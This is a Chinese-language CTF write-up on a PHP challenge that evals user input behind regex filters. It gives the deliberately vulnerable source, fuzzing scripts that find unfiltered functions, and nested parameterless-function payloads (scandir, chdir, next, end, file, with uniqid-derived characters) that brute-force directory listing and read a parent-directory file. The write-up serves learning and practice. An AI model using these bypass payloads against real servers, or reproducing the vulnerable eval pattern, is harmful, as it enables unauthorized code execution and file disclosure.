从一场CTF比赛中学到的Fuzz思想

前言

最近参加了几个ctf比赛遇到了很多的无参数RCE的问题,由于好几次没有做出来。因此总结一波。

0x01 题目源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
else {
echo "No way!!!";
}
}else {
echo "No way!!!";
}
题目代码分析:
1. 从题目的第一个正则[a-z]+\((?R)?\)只匹配字符串+()的类型,并且括号内为空字符串仅仅可以由26个小写字母组成。我们在看看代码,preg_replace()函数对匹配成功的字符串替换为NULL,如果剩下;将会通过正则表达式。
2. 下面我们用一个例子来测试一下替换后的值。
1
2
3
4
5
6
7
8
9
<?php
$code="echo();";
$code2="echo(233);";
$code3="echo(phpinfo());";
echo("参数1:".preg_replace('/[a-z]+\((?R)?\)/',NULL,$code));
echo"<br>";
echo("参数2:".preg_replace('/[a-z]+\((?R)?\)/',NULL,$code2));
echo"<br>";
echo("参数3:".preg_replace('/[a-z]+\((?R)?\)/',NULL,$code3));
运行的结果如下:
1
2
3
参数1:;
参数2:echo(233);
参数3:;
我们分别传入了echo();echo(233);echo(phpinfo());,可以看到参数一最终替换成一个;分号,而参数二无法匹配成功替换失败,参数三是一个嵌套的函数匹配成功后剩下一个;分号,其实这里告诉我们虽然这个正则表达式不能匹配由参数的函数但是我们可以嵌套函数使用。
题目的第二个正则表达式readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log过滤了哪些函数呢,这个我们可以直接编写两个脚本进行FUZZ,第一个脚本可以获取php中所有的内置函数,将它写到一个文本文件中。第二个python脚本则是匹配能够使用的函数,并将其打印出来,这样一来我们就知道有哪些函数我们可以用。
获取PHP内置函数
1
2
3
4
5
6
7
8
<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {
echo fputs($file,$key."\r\n");
}
fclose($file);
?>
查找能使用的函数
1
2
3
4
5
6
import re
f = open('function.txt','r')
for i in f:
function = re.findall(r'/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/',i)
if function == [] and not '_' in i:
print(i)
接下来我们构造payload去解决问题。
题目的开头出题人提示了我们flag在上层目录下的index.php,那么我们就需要读取上层目录下的index.php的源码,我们知道scandir()函数可以用来列目录,但是他必须要带有参数.也就是这样scandir('.'),在不断搜索中我们发现uniqid()函数能够生成动态的字符串,但是他的前半部分是固定不变的,但是后半部分是动态变化的,正好strrev()函数也可以使用,那么我们就可以将它反转过来然后直接转换为char不久就可以动态构造任意字符了。
下面是用脚本去生成:
1
2
3
4
5
<?php
error_reporting(0);
for($i=0;$i<1000;$i++)
echo(chr(strrev(uniqid())));
?>
结果如下:
1
 e�-�Y�!�o�7��cǏy�A� m�5���K�w?�)��U���I�3��_�'��S�=�i�1��]�G�s�;�gQ�}�E� q�[�#��O�{�    (2�j�2��^�H�t�<�h�R�~�F�r�\�$��P�|�    d�,�X� � g�/��[�#� q�9�e�-�{�C�o�7�!��M�y�A�+��W���K�5��a�)��U�?�k�3��_�I�u�=�i�S��G�s�]�%��Q�}�    �и�pX( h�0��\�$�r�:�f�.�|�D��8�"��N�z�B�,��X� ��L�6��b�*��V�@�l�4��`�J�v�>�j�T���H�t�^�&��R�~�     0P`p��
从脚本的运行结果来看已经达到了预期目的,生成了.点,那么我们通过条件竞争就可以达到预期目的。那么我们构造如下payload去读取文件目录看是否能成功,由于scandir返回的是数组,并且var_dump是无法通过第一个正则的,所以我们可以使用implode()将数组转换为字符串在echo()打印出来。
现在通过脚本的爆破就可以列出上一级目录的文件名了。
那么问题又来了,我们该如何去读取上层目录的index.php呢?首先我们要读取上层目录的文件,必须先跳转到上层目录,这里我们从我们脚本匹配的结果看chdir()函数并未被过滤,所以我们可以使用它先跳转到上层目录再去读取文件,但是要跳转到上层目录需要构造两个点即chdir(‘..’)那么该如何构造呢,其实很简单,我们看上方返回了当前目录下的文件列表,其实它是返回来了一个数组,这个数组结构如下:
1
[0=>'.',1=>'..',3=>'index.php']
我们可以发现第二个元素就是两个点,我们可以使用next()函数去获取到这两个点。我们先根据此读取到上层目录列表构造payload如下:
1
echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));
传入这个payload再使用脚本去爆破就可以读取上层目录列表。
可以发现index.php是在这个目录列表数组中的最后一个元素,那么我们要读取这个文件名直接读取这个数组中的最后一个元素即可,这里我们可以使用end()函数获取,我们先跳转到上个目录:
1
chdir(next(scandir(chr(strrev(uniqid())))))
读取文件呢,我们可以使用第一个payload读取到文件目录,然后使用end()函数去读取最后一个元素,进而读取文件这里我们使用file()函数去读取文件。
1
file(end(scandir(chr(strrev(uniqid()))))
那么综合起来payload如下:
1
echo(implode(file(end(scandir(chr(strrev(uniqid(chdir(next(scandir(chr(strrev(uniqid())))))))))))));
但是这里存在一个问题,那就是两次去的值不一定都是点,那么就需要进行N次爆破,在某一时刻这两个值都取到点的时候那么就会读取成功。
当然上面的方面比较慢但是我们可以通过利用三角函数去算出这个点。
总结
这道题可以说是上次ByteCTF-boringcode的plus,但是题目不在多更多的是要掌握Fuzz的方法,从这次比赛中我也了解到了无参数函数的利用,其实无参数RCE的用法很多师傅都做了很多总结,但是我们在遇到问题时候可能出题人已经将这些网上公开的方法给ben掉了,这时候就需要我们去Fuzz去分析。
参考:
PHP Parametric Function RCE
PHP 无参函数实现 RCE